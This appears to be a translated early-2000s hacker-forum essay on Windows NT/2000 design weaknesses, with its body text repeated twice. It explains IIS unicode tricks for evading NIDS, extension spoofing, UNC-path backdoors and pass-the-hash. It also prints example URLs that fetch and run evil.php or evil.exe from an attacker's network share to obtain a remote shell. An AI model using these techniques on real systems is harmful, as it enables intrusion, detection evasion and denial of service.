1: Huge codebase, code reuse
There is a “small program theorem”: the bugs in a program are proportional to the size of the program. There is also a saying: wherever something can go wrong, it definitely will. Microsoft’s programmers are not gods. With that many lines of code, and still demanding perfection in software engineering,
code reuse... Requiring code reuse means that if a problem appears in one version, then later versions may also have it too, and other programs reusing that code may also have problems.
Someone once said that when Windows .net comes out, people doing Windows security will have nothing to eat. I think that definitely won’t happen; Gates wouldn’t be that cruel.
2: Blindly pursuing ease of use and compatibility
After all, it’s a company, so of course they do whatever makes the most money. I heard casper say Microsoft spent millions researching from which angle the light source on a button should shine to look good. If something is easy to use, something foolproof, then of course people are willing to buy it. So by default it supports everything, includes everything, associates everything, and is compatible with everything.
3: Enough nonsense, let’s talk about something practical.
1、Support for unicode
I won’t say much more about the IIS unicode vulnerability. Actually, besides IIS, quite a few other web servers on Windows have similar problems. Because unicode decoding is done by the system kernel, if they really want to solve the bad decoding problem, I guess it won’t be cheap. I found that Microsoft actually did not truly correct the bad decoding in the patch for the unicode vulnerability, but merely filtered some dangerous character encodings. Basically, it just does not allow “.” and “/” or “\” to appear together, otherwise it throws an error. So we can still use bad decoding to do some things, for example, dealing with NIDS. Convert the http requests we want to scan or exploit into bad-encoding form, and most NIDS cannot recognize them. Everyone can try it and see whether any vendor’s NIDS can detect this. Appendix 1 is a Windows 2000 Simplified Chinese edition unicode bad-decoding table I made myself. It may not be very complete, but everyone can use it for reference. If you’re interested, you can use this table to make a scanner, randomly using normal unicode encoding, utf8 encoding, and bad decoding for each character, and see whether there is still any NIDS that can recognize it.
I even believe that in XP, this problem may not necessarily be fundamentally solved either.
2、Extension spoofing
We all think that under Windows a file’s nature is determined by its extension, and it is easy to believe that a doc (with macros turned off) or gif file is harmless. But in fact, Windows does not handle files entirely according to their extensions; it makes a preliminary judgment about a file’s nature based on the information in the file header. NT 4 once had this problem: for an EXE file, if it was named .DOC, double-clicking it would still make the system load and execute it as an EXE file! Even under Windows 2000, if we change an EXE file’s extension to anything at all, at the command prompt it will still run as an EXE file:
C:>test.exe
only test !
C:>ren test.exe test.txt
C:>test.txt
only test !
C:>ren test.txt test.any
C:>test.any
only test !
Fortunately this problem does not exist when double-clicking in Explorer. But if an EXE file’s extension is changed to .com .cmd .bat .pif .scr, it can still be double-clicked and run normally, so it is still somewhat deceptive. Quite a few email viruses used similar tricks.
3、8.3 filenames, 16-bit subsystem, POSIX subsystem, OS2 subsystem
Being able to run 16-bit programs, OS2, and POSIX programs is also a selling point of Windows NT/2000. But because support for these requires using some system-level Privilege, it can also be regarded as a kind of suid in a certain sense, so this creates security risks. Historically, NT 4 once had a privilege-escalation vulnerability because of a problem in the POSIX subsystem. General system hardening manuals all require turning off this support.
Dos truncates long filenames. Although Windows NT/2000 supports long filenames, by default it also supports the truncated 8.3 format. When we perform file-name-based access control on some file, it may be possible to bypass the control by using the truncated 8.3 filename. For some WEB servers whose design did not take this issue into account, this may lead to CGI source code disclosure.
4、“/” and “\” not distinguished
Under Windows, “\” is generally used to represent directories, but “/” is also accepted. This is different from *nix, which only supports “/”. When writing asp, php, etc., and when writing programs such as WEB servers, if both are not taken into account, it often leads to unauthorized access to upper-level WEB directories. Win32 Apache had this problem before.
5、UNC path support
Support for UNC paths makes it very easy for us to access remote files, but it really brings far too many security problems. First of all, UNC can be used almost anywhere, and there are countless ways to trick users into accessing an attacker’s machine, while the Windows NT/2000 authentication mechanism, for the sake of ease of use, will by default actively send the current user’s password hash over when you access it. For systems that have not been hardened, the hash is almost no different from the password itself.
After installing Apache + php on Windows NT/2000, by default there is a “/cgi-bin/php.exe?” vulnerability. The discoverer told us that this issue could be used to view arbitrary text on the system, but in fact this vulnerability can completely obtain a remote shell. Because we can do this:
http://cgi-bin/php.exe?\myipshareevil.php。
If this problem existed on *nix, then it could only be used to view files—unless you could upload files there.
Similarly, in exploiting some vulnerabilities, even if the user has no write permission on any directory, we can still run a specified program: http://host/scripts/../../cmd.exe?/c+\myhostshareevil.exe
Likewise, UNC paths can also be used to install a truly fileless backdoor. You only need to add a program pointing to a UNC path under some auto-start item in the registry or in the scheduled task list. This file does not exist on the local hard disk, and will not even be in the temp folder, so it can evade many auditing tools.
To remove support for UNC paths, you can disable the DeviceMup device.
6、Device filename problems
One feature of *nix is “everything is a file”. Probably influenced by that, many devices in Windows NT/2000 can also be accessed as files through character links. Some programs, when written, did not sufficiently consider control measures to prevent access to arbitrary drives. If we try to access drive D: through something like “\.\D:”, we may be able to bypass some poorly written programs.
For upward compatibility, DOS device filenames such as “PRN” and “CON” are still supported under Windows NT/2000. Under 9X, simply directly accessing DOS device filenames could cause a blue screen. Windows NT/2000 did some handling for this, but many programs still have similar problems, such as Lotus Domino Server, OE, etc. Even IIS can be affected under some special circumstances and cause denial of service.
Also, because these device filenames are “everywhere”, they become useful when we need a certain type of file to do something. Suppose there is a .plx overflow, but there is no .plx file at all under the WEB directory. In that case we can use a file like con.plx to pass the overflow code.
7、The registry is huge and complicated
The registry is too important to Windows, and there is far too much stuff in it, with so much of it undocumented. If a backdoor is left in the registry, if it is done well, it is almost impossible to audit out. So regularly backing up the registry files is very important for a Windows system administrator.
8、WSH, script
WSH objects are simply too powerful. On top of that, the system script engine is installed by default and is widely supported in Microsoft software including IE and Office, so problems are unavoidable. Looking over vulnerabilities in IE and outlook, many of them are related to this.
9、System privilege allocation is cumbersome
In Windows NT/2000, almost everything can have permissions set: every object, registry key, device... Such a huge access control list is really hard to audit one by one, and many of them can be used as backdoors.
10、Compatible with lanman authentication by default
As early as the Windows NT 4.0 era, someone proposed an attack method of passing hash values. Because the lanman authentication method simply compares MD 4 hash values. So theoretically, as long as we have the account and password hash value, we can pass lanman authentication without needing tools like l0pht Crack to recover the password. Since this attack method requires fundamentally changing the authentication process, and modifying the Windows kernel is too difficult, the original discoverer implemented it by modifying Samba, and the code was not made public. Recently someone proposed a new line of thought on this and made the code public, making it possible to implement on various platforms and greatly increasing the risk of this problem. So when doing system hardening, you must change the authentication method.
11、Design mistakes
There are many design mistakes in Windows. For example, there is a conflict between account lockout and IIS security design (first pointed out by coolweis). Once the account lockout policy is enabled, we can brute-force IUSER_ and IWAM_. After these two accounts are locked, no one can access IIS, so with very little cost a DoS is achieved. There are quite a few similar problems.
There is a “small program theorem”: the bugs in a program are proportional to the size of the program. There is also a saying: wherever something can go wrong, it definitely will. Microsoft’s programmers are not gods. With that many lines of code, and still demanding perfection in software engineering,
code reuse... Requiring code reuse means that if a problem appears in one version, then later versions may also have it too, and other programs reusing that code may also have problems.
Someone once said that when Windows .net comes out, people doing Windows security will have nothing to eat. I think that definitely won’t happen; Gates wouldn’t be that cruel.
2: Blindly pursuing ease of use and compatibility
After all, it’s a company, so of course they do whatever makes the most money. I heard casper say Microsoft spent millions researching from which angle the light source on a button should shine to look good. If something is easy to use, something foolproof, then of course people are willing to buy it. So by default it supports everything, includes everything, associates everything, and is compatible with everything.
3: Enough nonsense, let’s talk about something practical.
1、Support for unicode
I won’t say much more about the IIS unicode vulnerability. Actually, besides IIS, quite a few other web servers on Windows have similar problems. Because unicode decoding is done by the system kernel, if they really want to solve the bad decoding problem, I guess it won’t be cheap. I found that Microsoft actually did not truly correct the bad decoding in the patch for the unicode vulnerability, but merely filtered some dangerous character encodings. Basically, it just does not allow “.” and “/” or “\” to appear together, otherwise it throws an error. So we can still use bad decoding to do some things, for example, dealing with NIDS. Convert the http requests we want to scan or exploit into bad-encoding form, and most NIDS cannot recognize them. Everyone can try it and see whether any vendor’s NIDS can detect this. Appendix 1 is a Windows 2000 Simplified Chinese edition unicode bad-decoding table I made myself. It may not be very complete, but everyone can use it for reference. If you’re interested, you can use this table to make a scanner, randomly using normal unicode encoding, utf8 encoding, and bad decoding for each character, and see whether there is still any NIDS that can recognize it.
I even believe that in XP, this problem may not necessarily be fundamentally solved either.
2、Extension spoofing
We all think that under Windows a file’s nature is determined by its extension, and it is easy to believe that a doc (with macros turned off) or gif file is harmless. But in fact, Windows does not handle files entirely according to their extensions; it makes a preliminary judgment about a file’s nature based on the information in the file header. NT 4 once had this problem: for an EXE file, if it was named .DOC, double-clicking it would still make the system load and execute it as an EXE file! Even under Windows 2000, if we change an EXE file’s extension to anything at all, at the command prompt it will still run as an EXE file:
C:>test.exe
only test !
C:>ren test.exe test.txt
C:>test.txt
only test !
C:>ren test.txt test.any
C:>test.any
only test !
Fortunately this problem does not exist when double-clicking in Explorer. But if an EXE file’s extension is changed to .com .cmd .bat .pif .scr, it can still be double-clicked and run normally, so it is still somewhat deceptive. Quite a few email viruses used similar tricks.
3、8.3 filenames, 16-bit subsystem, POSIX subsystem, OS2 subsystem
Being able to run 16-bit programs, OS2, and POSIX programs is also a selling point of Windows NT/2000. But because support for these requires using some system-level Privilege, it can also be regarded as a kind of suid in a certain sense, so this creates security risks. Historically, NT 4 once had a privilege-escalation vulnerability because of a problem in the POSIX subsystem. General system hardening manuals all require turning off this support.
Dos truncates long filenames. Although Windows NT/2000 supports long filenames, by default it also supports the truncated 8.3 format. When we perform file-name-based access control on some file, it may be possible to bypass the control by using the truncated 8.3 filename. For some WEB servers whose design did not take this issue into account, this may lead to CGI source code disclosure.
4、“/” and “\” not distinguished
Under Windows, “\” is generally used to represent directories, but “/” is also accepted. This is different from *nix, which only supports “/”. When writing asp, php, etc., and when writing programs such as WEB servers, if both are not taken into account, it often leads to unauthorized access to upper-level WEB directories. Win32 Apache had this problem before.
5、UNC path support
Support for UNC paths makes it very easy for us to access remote files, but it really brings far too many security problems. First of all, UNC can be used almost anywhere, and there are countless ways to trick users into accessing an attacker’s machine, while the Windows NT/2000 authentication mechanism, for the sake of ease of use, will by default actively send the current user’s password hash over when you access it. For systems that have not been hardened, the hash is almost no different from the password itself.
After installing Apache + php on Windows NT/2000, by default there is a “/cgi-bin/php.exe?” vulnerability. The discoverer told us that this issue could be used to view arbitrary text on the system, but in fact this vulnerability can completely obtain a remote shell. Because we can do this:
http://cgi-bin/php.exe?\myipshareevil.php。
If this problem existed on *nix, then it could only be used to view files—unless you could upload files there.
Similarly, in exploiting some vulnerabilities, even if the user has no write permission on any directory, we can still run a specified program: http://host/scripts/../../cmd.exe?/c+\myhostshareevil.exe
Likewise, UNC paths can also be used to install a truly fileless backdoor. You only need to add a program pointing to a UNC path under some auto-start item in the registry or in the scheduled task list. This file does not exist on the local hard disk, and will not even be in the temp folder, so it can evade many auditing tools.
To remove support for UNC paths, you can disable the DeviceMup device.
6、Device filename problems
One feature of *nix is “everything is a file”. Probably influenced by that, many devices in Windows NT/2000 can also be accessed as files through character links. Some programs, when written, did not sufficiently consider control measures to prevent access to arbitrary drives. If we try to access drive D: through something like “\.\D:”, we may be able to bypass some poorly written programs.
For upward compatibility, DOS device filenames such as “PRN” and “CON” are still supported under Windows NT/2000. Under 9X, simply directly accessing DOS device filenames could cause a blue screen. Windows NT/2000 did some handling for this, but many programs still have similar problems, such as Lotus Domino Server, OE, etc. Even IIS can be affected under some special circumstances and cause denial of service.
Also, because these device filenames are “everywhere”, they become useful when we need a certain type of file to do something. Suppose there is a .plx overflow, but there is no .plx file at all under the WEB directory. In that case we can use a file like con.plx to pass the overflow code.
7、The registry is huge and complicated
The registry is too important to Windows, and there is far too much stuff in it, with so much of it undocumented. If a backdoor is left in the registry, if it is done well, it is almost impossible to audit out. So regularly backing up the registry files is very important for a Windows system administrator.
8、WSH, script
WSH objects are simply too powerful. On top of that, the system script engine is installed by default and is widely supported in Microsoft software including IE and Office, so problems are unavoidable. Looking over vulnerabilities in IE and outlook, many of them are related to this.
9、System privilege allocation is cumbersome
In Windows NT/2000, almost everything can have permissions set: every object, registry key, device... Such a huge access control list is really hard to audit one by one, and many of them can be used as backdoors.
10、Compatible with lanman authentication by default
As early as the Windows NT 4.0 era, someone proposed an attack method of passing hash values. Because the lanman authentication method simply compares MD 4 hash values. So theoretically, as long as we have the account and password hash value, we can pass lanman authentication without needing tools like l0pht Crack to recover the password. Since this attack method requires fundamentally changing the authentication process, and modifying the Windows kernel is too difficult, the original discoverer implemented it by modifying Samba, and the code was not made public. Recently someone proposed a new line of thought on this and made the code public, making it possible to implement on various platforms and greatly increasing the risk of this problem. So when doing system hardening, you must change the authentication method.
11、Design mistakes
There are many design mistakes in Windows. For example, there is a conflict between account lockout and IIS security design (first pointed out by coolweis). Once the account lockout policy is enabled, we can brute-force IUSER_ and IWAM_. After these two accounts are locked, no one can access IIS, so with very little cost a DoS is achieved. There are quite a few similar problems.
http://dos.e-stone.cn/dosbbs
uploadImages/200311161145850422.swf
uploadImages/200311161145850422.swf
